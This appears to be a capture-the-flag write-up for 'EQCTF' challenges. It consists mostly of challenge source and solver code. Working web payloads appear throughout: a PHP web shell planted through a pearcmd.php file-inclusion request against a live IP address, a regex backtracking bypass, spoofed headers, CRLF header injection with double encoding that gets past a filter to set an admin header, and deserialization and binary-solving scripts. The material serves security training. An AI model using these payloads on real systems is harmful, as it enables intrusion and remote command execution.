if (isset($_POST['egg'])) {
 
    random codes...
 
} else {
    echo "You're not even touching the egg...?!!!<br><br>";
    echo "Anyway, here's a picture of an egg <br><br><img src='img/togepi.gif'>";
}

import requests
 
url = 'http://135.181.88.229:33722?eggSecret=240610708'
payload = 'A' * 33009
 
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': str(len(payload))
}
 
data = {'egg': payload}
preg_match("/^(.*?)+$/s", $egg)
response = requests.post(url, headers=headers, data=data)
print(response.text)

import requests
 
url = "http://135.181.88.229:50003"
 
r1 = requests.get(f"{url}/?page=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+")
print(r1.text)
 
r2 = requests.get(f"{url}/?page=/tmp/exec.php&c=cat+menu.php")
print(r2.text)

 if (!isset($_GET['secret']) || !isset($_GET['code'])) {
        die("Missing required parameters.");
    }

if (!isset($_SERVER['HTTP_X_REMOTE_IP']) || $_SERVER['HTTP_X_REMOTE_IP'] !== '127.0.0.1') {
        die("Something is not quite right...");
    }
 
    if (!isset($_SERVER['HTTP_USER_AGENT']) || $_SERVER['HTTP_USER_AGENT'] !== 'CTF-Challenge-Agent') {
        die("Something is not quite right...");
    }
 
    if (!isset($_SERVER['HTTP_X_AUTH_KEY']) || !is_valid_auth_key($_SERVER['HTTP_X_AUTH_KEY'])) {
        die("Something is not quite right...");
    }
 
    if (is_valid_secret($secret) && is_valid_code($code)) {
        echo "Not bad! Here is your flag: [REDACTED]";
    } else {
        echo "Parameter value incorrect";
    }

function is_valid_secret($secret) {
    $keys1 = [12, 23, 34, 45, 56, 67, 78, 89, 90]; // XOR Keys
    $keys2 = [91, 82, 73, 64, 55, 46, 37, 28, 19];
 
    $encoded_parts = [
        'ND0=', 'Yz0=', 'Ij0=', 'TT0=', 'ZD0=', 'bz0=', 'dz0=', 'cj0=', 'cz0='
    ];
 
    $order = [6, 8, 3, 0, 4, 7, 1, 2, 5];
 
    $decoded_secret = '';
 
    $reassembled = '';
    foreach ($order as $index) {
        $reassembled .= base64_decode($encoded_parts[$index]);
    }
 
    for ($i = 0; $i < strlen($reassembled); $i++) {
        $char = ord($reassembled[$i]) ^ $keys2[$i];
        $decoded_secret .= chr($char ^ $keys1[$i]);
    }
 
    echo $decoded_secret; <-- actually you can just host it locally and get the values straight away (got funny chars so url encode it is better)
    return strcmp($secret, $decoded_secret) == 0;
}

function is_valid_code($code) {
    return $code == 0 && $code !== '0' && $code !== 0;
}

function is_valid_auth_key($key) {
    return substr($key, 0, 5) === "auth-" && strlen($key) === 10;
}

import urllib.request
 
url = "http://135.181.88.229:33430/?secret=%20x%18PBP_x-%3Dr%3Dc%3D%22%3Do%3D&code=[]"
headers = {
'User-Agent': 'CTF-Challenge-Agent',
'X-REMOTE-IP': '127.0.0.1',
'X-AUTH-KEY': 'auth-12345'
}
 
req = urllib.request.Request(url, headers=headers)
response = urllib.request.urlopen(req)
print(response.read().decode())

<?php
require('sequence.php');
ini_set('display_errors', 0);
 
if ($_SERVER["REQUEST_METHOD"] === "POST") {
    $vault_open = true;
    $bankPin = new Sequence();
    $bankPin->generateVaultRandom();
 
    $user = $_POST['sequence'] ?? '';
 
    if (!($base64DecodedSequence = base64_decode($user))) {
        echo("DANGER ABORTING");
        die();
    }
 
    if (!($validSequence = unserialize($base64DecodedSequence))) {
        echo("NOT A VALID SEQUENCE");
        die();
    }
 
    if (!($validSequence instanceof Sequence)) {
        echo "NOT A VALID SEQUENCE";
        die();
    }
 
    for ($x = 0; $x < 10; $x++) {
        $validSequence->vaultCreds = $bankPin->vaultCreds; //set as bank creds
    }
 
    for ($z = 0; $z < 10; $z++) {
        if ($validSequence->vaultCreds[$z] !== $validSequence->guardCreds[$z]) {
            $vault_open = false;
        }
    }
 
}
?>

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    $vault_open = true;
    $bankPin = new Sequence();
    $bankPin->generateVaultRandom();
 
    $user = $_POST['sequence'] ?? '';
 
    if (!($base64DecodedSequence = base64_decode($user))) {
        echo("DANGER ABORTING");
        die();
    }
 
    ...
?>

 if (!($validSequence = unserialize($base64DecodedSequence))) {
        echo("NOT A VALID SEQUENCE");
        die();
    }
 
if (!($validSequence instanceof Sequence)) {
        echo "NOT A VALID SEQUENCE";
        die();
    }

class Sequence { // name of class "Sequence" with 8 characters
    public $vaultCreds; // 1st property with 10 characters
    public $guardCreds; // 2nd property with 10 characters
 
    public function generateVaultRandom()
    {
        for ($x = 0; $x < 10; $x++) {
            $randomNumber = random_int(0, 999999999);
            $this->vaultCreds[] = $randomNumber;
        }
    }
}

 for ($x = 0; $x < 10; $x++) {
        $validSequence->vaultCreds = $bankPin->vaultCreds; //set as bank creds
    }

 for ($z = 0; $z < 10; $z++) {
        if ($validSequence->vaultCreds[$z] !== $validSequence->guardCreds[$z]) {
            $vault_open = false;
        }
}
 

return render_template('index.html', protectionName=setName)

<body class="bg-gray-100 text-black dark:bg-gray-900 dark:text-white">
  <div class="container mx-auto p-8">
    <h1 class="mb-4 text-2xl font-bold">Name yo own protection</h1>
    <form action="/" method="get" class="space-y-4">
      <div>...</div>
      <button
        type="submit"
        class="rounded-lg bg-blue-500 px-4 py-2 text-center text-base font-semibold text-white shadow-md transition duration-200 ease-in hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-blue-500 focus:ring-offset-2 focus:ring-offset-blue-200"
      >
        Set Protection
      </button>
      {% if protectionName %}
 
      <div class="mt-4 w-full text-lg font-semibold">
        Protection set to: {{ protectionName }}
      </div>
      {% endif %}
 
      <div class="mx-auto mt-8">...</div>
    </form>
  </div>
</body>

@app.route('/verifier', methods=['GET'])
def verifier():
    # To verify if everything is working as intended
    input = request.args.get('input', '')
 
    if input is not None and input != "":
 
        response = requests.get(f"http://localhost:{port}/?setName=" + input)
        xssProtection = response.headers.get('X-XSS-Protection')
        RCEProtection = response.headers.get('Protection-RCE')
        SecretProtection = response.headers.get('Protection-Secret')
 
        # While we are it, let's add an admin check too for easy access.
        adminCheck = response.headers.get('admin')
 
        print(response.headers)
 
        if all(header is not None and header != "" for header in [xssProtection, RCEProtection, SecretProtection]) and adminCheck == 'true':
            return render_template('verifier.html', result="Wow you're an expert in protection! Here's your flag: " + flag)
 
        return render_template('verifier.html', result="It's secure... I guess...?")
    else:
        return render_template('verifier.html', result="Please give me a recipe for the best protection")

@app.route('/')
def default():
 
    headers = {
        'X-Content-Type-Options': 'nosniff',
        'Strict-Transport-Security': 'max-age=31536000; includeSubDomains',
        'Referrer-Policy': 'no-referrer',
        'Feature-Policy': "geolocation 'self'; microphone 'none'; camera 'none'",
    }
 
    protectionHeader: dict[str, str | bytes] = dict(headers)
 
    setName = request.args.get('setName', '')
 
    if filter(setName) == False:
        return 'Hacking attempt...s?'
    else:
        setName = filter(setName)
 
    if setName is not None and setName != "":
 
        defaultProtectionValue = "1"
        protectionHeader['X-XSS-Protection'] = defaultProtectionValue
        protectionHeader['Protection-' + setName] = defaultProtectionValue
 
    return render_template('index.html', protectionName=setName), protectionHeader

 headers = {
        'X-Content-Type-Options': 'nosniff',
        'Strict-Transport-Security': 'max-age=31536000; includeSubDomains',
        'Referrer-Policy': 'no-referrer',
        'Feature-Policy': "geolocation 'self'; microphone 'none'; camera 'none'",
    }

HTTP/1.1 200 OK
Server: Werkzeug/3.0.6 Python/3.8.20
Date: Mon, 27 Jan 2025 16:53:27 GMT
X-Content-Type-Options: nosniff <------------ focus from here
Strict-Transport-Security: max-age=31536000; includeSubDomains
Referrer-Policy: no-referrer
'Feature-Policy': "geolocation 'self'; microphone 'none'; camera 'none'"
*anything else that is included by default*

HTTP/1.1 200 OK
Server: Werkzeug/3.0.6 Python/3.8.20
Date: Mon, 27 Jan 2025 16:58:35 GMT
X-Content-Type-Options: nosniff <------------ focus from here
Strict-Transport-Security: max-age=31536000; includeSubDomains
Referrer-Policy: no-referrer
Feature-Policy: geolocation 'self'; microphone 'none'; camera 'none'
X-XSS-Protection: 1 <------------ new headers that is included
Protection-test: 1
*anything else that is included by default*

GET /?setName=RCE HTTP/1.1
 
HTTP/1.1 200 OK
Server: Werkzeug/3.0.6 Python/3.8.20
Date: Mon, 27 Jan 2025 17:34:14 GMT
...
X-XSS-Protection: 1 ✅
Protection-RCE: 1 ✅

GET /?setName=RCE%0d%0aProtection-Secret HTTP/1.1
 
HTTP/1.1 200 OK
Server: Werkzeug/3.0.6 Python/3.8.20
...
X-XSS-Protection: 1 ✅
Protection-RCE ❌
Protection-Secret: 1 ✅

def filter(input):
    blockedPattern = [':', 'admin', 'true']
    for pattern in blockedPattern:
        if pattern in input or pattern.lower() in input or pattern.upper() in input:
            return False
    return unquote(input)

GET /?setName=RCE%253A%201%0d%0aProtection-Secret HTTP/1.1
 
HTTP/1.1 200 OK
Server: Werkzeug/3.0.6 Python/3.8.20
...
X-XSS-Protection: 1 ✅
Protection-RCE: 1 ✅
Protection-Secret: 1 ✅

GET /?setName=RCE%253A%201%0d%0a%2561%2564%256D%2569%256E%253A%20%2574%2572%2575%2565%0d%0aProtection-Secret HTTP/1.1
 
HTTP/1.1 200 OK
Server: Werkzeug/3.0.6 Python/3.8.20
...
X-XSS-Protection: 1 ✅
Protection-RCE: 1 ✅
admin: true ✅
Protection-Secret: 1 ✅

#!/usr/bin/env python3
import subprocess
import ipaddress
from flask import Flask, request, render_template
 
app = Flask(__name__)
 
@app.route('/', methods=['GET', 'OPTIONS'])
def ping():
    user_supplied_IP = request.args.get('IP', '')
    try:
        myIPaddress = ipaddress.ip_address(user_supplied_IP)
    except ValueError:
        custom_error_msg = 'You supplied an invalid IP address'
        return render_template('index.html', result=custom_error_msg)
 
    command_to_execute = f'ping -c 2 {myIPaddress}'
    print(command_to_execute, flush=True)
    try:
        results = subprocess.check_output(['/bin/sh', '-c', command_to_execute], timeout=8)
        return render_template('index.html', result=results.decode('utf-8'))
    except subprocess.TimeoutExpired:
        custom_error_msg = 'Request Timed Out!'
        return render_template('index.html', result=custom_error_msg)
    except subprocess.CalledProcessError:
        custom_error_msg = 'An error occured'
        return render_template('index.html', result=custom_error_msg)
 
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5004)

def ping():
    user_supplied_IP = request.args.get('IP', '')
    try:
        myIPaddress = ipaddress.ip_address(user_supplied_IP)
    except ValueError:
        custom_error_msg = 'You supplied an invalid IP address'
        return render_template('index.html', result=custom_error_msg)
 
    command_to_execute = f'ping -c 2 {myIPaddress}'
    print(command_to_execute, flush=True)

myIPaddress = ipaddress.ip_address(user_supplied_IP)

.
├── docker-compose.yml
├── Dockerfile
└── app
   ├── app.js
   ├── bot.js
   └── package.json
 
3 directories, 10 files

fastify.get('/', (request, reply) => {
  const userInput = request.query.input || 'Enter your input in /?input=here'
 
  const window = new JSDOM('').window
  const DOMPurify = createDOMPurify(window)
  const clean = DOMPurify.sanitize(userInput)
  console.log(clean)
 
  reply.status(200).header('Content-Type', 'text/html').send(clean)
})

private static final boolean a(String str) {
    byte[] bytes = str.getBytes(Charsets.UTF_8);
    if (Intrinsics.areEqual(ArraysKt.joinToString$default(bytes, "", null, null, 0, null,
        new Function1() {
            public final Object invoke(Object obj) {
                return MainActivityKt.a$lambda$3(((Byte) obj).byteValue());
            }
        }, 30, null), "5368726f6f6d6973686965")) {
        return true;
    }
    return false;
}

byte[] decode = Base64.decode("AEUAUQBDAFQARgB7ADEAVABzAF8AUwBoAHIAMABvAE0AcgAxAHMASABpAEUAIQAhACEAIQB9", 0);
Log.d("Flag", "Congratz on guessing the pokemon: ".concat(new String(decode, Charsets.UTF_8)));

!pip install angr
 
import angr
import claripy
 
# Define binary path and parameters
input_file_path = './chall'
flag_length = 55
known_string = 'EQCTF{'
FIND_ADDR = 0x4016e4
AVOID_ADDR = [0x4016fa, 0x40159f]
START_ADDR = 0x40158d
 
# Load the binary
proj = angr.Project(input_file_path, auto_load_libs=False, main_opts={'base_addr': 0x400000})
 
# Create symbolic characters for the flag
known_chars = [claripy.BVV((known_string[i])) for i in range(len(known_string))]
flag_chars = [claripy.BVS(f"flag_{i}", 8) for i in range(flag_length - len(known_string))]
flag = claripy.Concat(*known_chars + flag_chars)
 
# Create a blank state at the start address
state = proj.factory.blank_state(addr=START_ADDR)
state.options.add(angr.options.LAZY_SOLVES)
state.options.add(angr.options.UNICORN)
 
# Define the address of the local variable `local_58` (e.g., `[RBP - 0x50]`)
# Assume RBP is initialized to some stack base (common for blank_state)
stack_base = state.regs.rbp
local_58_address = stack_base - 0x50  # Offset to local variable `local_58`
 
# Store the symbolic flag into `local_58`
state.memory.store(local_58_address, flag)
 
# Pass the address of `local_58` in RDI (used by __isoc23_scanf)
state.regs.rdi = local_58_address
 
# Add constraints to ensure flag is printable (ASCII range 0x20 to 0x7e)
for k in flag_chars:
    state.solver.add(k < 0x7f)  # Less than 0x7f (127)
    state.solver.add(k > 0x20)  # Greater than 0x20 (32)
 
# Create a simulation manager
sim_manager = proj.factory.simulation_manager(state)
 
# Explore paths to find the target address while avoiding bad paths
sim_manager.explore(find=FIND_ADDR, avoid=AVOID_ADDR)
 
# Check if a solution was found
if len(sim_manager.found) > 0:
    # Evaluate the symbolic flag to retrieve its value
    solution = sim_manager.found[0].solver.eval(flag, cast_to=bytes)
    print(f"Flag found: {solution.decode()}")
else:
    print("No solution found.")

vbindiff vault-v1.0.0.elf vault-1.2.1.elf

v1p1 = [12, 28, 0, 23, 15, 21, 10, 4, 27, 5, 26, 8, 17, 3, 18, 25]
v1p2 = [9, 13, 7, 24, 6, 2, 1, 11, 14, 22, 29, 16, 19, 20]
 
v2p1 = [0x37, 0x67, 0x45, 0x31, 0x62, 0x5f, 0x30, 0x46, 0x6e, 0x7b, 0x31, 0x74, 0x6e, 0x54, 0x34, 0x66]
v2p2 = [0x72, 0x30, 0x6E, 0x66, 0x31, 0x43, 0x51, 0x5F, 0x5F, 0x64, 0x7D, 0x31, 0x72, 0x79]
 
v1 = v1p1 + v1p2
v2 = v2p1 + v2p2
 
pairs = sorted(zip(v1, v2))
 
sorted_ascii = ''.join(chr(value) for _, value in pairs)
 
print(sorted_ascii)

#define rn ;
#define finna =
#define cap !=
#define mf *
#define bouta &
#define ongod ++
#define sheesh <
#define fr <<
#define bet if
#define chief main
#define yikes break
#define deadass return
#define skibidi {
#define tho }
#define bussin cout
#define huh true
#define lit double
 
#include <iostream>
#include <fstream>
#include <iomanip>
#include <openssl/sha.h>
 
 
using namespace std rn
 
unsigned int seed() skibidi
    deadass static_cast<unsigned int>(time(nullptr)) rn
tho
 
string getHash(lit value) skibidi
    ostringstream oss rn
    oss fr setprecision(17) fr value rn
    string text finna oss.str() rn
    unsigned char hash[SHA256_DIGEST_LENGTH] rn
    SHA256(reinterpret_cast<const unsigned char mf>(text.c_str()), text.size(), hash) rn
    ostringstream result rn
    for (int i finna 0 rn i sheesh SHA256_DIGEST_LENGTH rn i ongod) {
        result fr hex fr setw(2) fr setfill('0') fr static_cast<int>(hash[i]) rn
    tho
    deadass result.str() rn
tho
 
 
int chief() skibidi
    while (huh) skibidi
        unsigned int s finna seed() rn
        srand(s) rn
        int x finna rand() rn
 
        string flag finna getHash(x) rn
 
        bet (flag.find("a9ba358e") cap string::npos) {  
            ofstream outfile("./flag") rn
            bet (outfile.is_open()) {
                outfile fr "EQCTF{" fr flag fr "tho" rn
                outfile.close() rn
            tho
            yikes rn
        tho
 
        time_t now finna time(0) rn
        tm mf ltm finna localtime(bouta now) rn
 
 
        bussin fr "[" fr 1900 + ltm->tm_year fr "-" rn
        bussin fr 1 + ltm->tm_mon fr "-" rn
        bussin fr ltm->tm_mday fr "] " rn
        bussin fr "🤓☝️ erm actually, you're incorrect 🥺👉👈: " fr x fr endl rn
    tho
    bussin fr "Good job Skibidisigma 🐺🥶 - Adolf Rizzler 🗿" fr endl rn
 
    deadass 0 rn
tho

#include <iostream>
#include <fstream>
#include <iomanip>
#include <openssl/sha.h>
 
using namespace std;
 
unsigned int seed()
{
    return static_cast<unsigned int>(time(nullptr));
}
 
string getHash(double value)
{
    ostringstream oss;
    oss << setprecision(17) << value;
    string text = oss.str();
 
    unsigned char hash[SHA256_DIGEST_LENGTH];
    SHA256(reinterpret_cast<const unsigned char *>(text.c_str()), text.size(), hash);
 
    ostringstream result;
    for (int i = 0; i < SHA256_DIGEST_LENGTH; i++)
    {
        result << hex << setw(2) << setfill('0') << static_cast<int>(hash[i]);
    }
    return result.str();
}
 
 
int main()
{
    while (true)
    {
        unsigned int s = seed();
        srand(s);
        int x = rand();
 
        string flag = getHash(x);
 
        if (flag.find("a9ba358e") != string::npos)
        {
            ofstream outfile("./flag");
            if (outfile.is_open())
            {
                outfile << "EQCTF{" << flag << "}";
                outfile.close();
            }
            break;
        }
 
        time_t now = time(0);
        tm *ltm = localtime(&now);
 
        cout << "[" << 1900 + ltm->tm_year << "-";
        cout << 1 + ltm->tm_mon << "-";
        cout << ltm->tm_mday << "] ";
        cout << "🤓☝️ erm actually, you're incorrect 🥺👉👈: " << x << endl;
    }
    cout << "Good job Skibidisigma 🐺🥶 - Adolf Rizzler 🗿" << x << endl;
 
    return 0;
}

unsigned int s = seed();
srand(s);
int x = rand();

// Brute-force timestamp around 2025-01-01
unsigned int seed() {
    static time_t test_time = 1735689600;  // 2025-01-01 00:00:00 UTC
    if (test_time <= 1735775999) {  // 2025-01-01 23:59:59 UTC
        return static_cast<unsigned int>(test_time++);
    }
    return static_cast<unsigned int>(time(nullptr)); // Fallback to current time
}
// -------------------------------------------
// You may also add the line for Found correct seed: to indicate that you found correct seed
if (flag.find("a9ba358e") != string::npos) {
	ofstream outfile("./flag");
	if (outfile.is_open()) {
		outfile << "EQCTF{" << flag << "}";
		outfile.close(); }
		cout << "Found correct seed: " << s << endl;
		break;
	}
...
...

g++ -o gen_z chall.cpp -lssl -lcrypto

./gen_z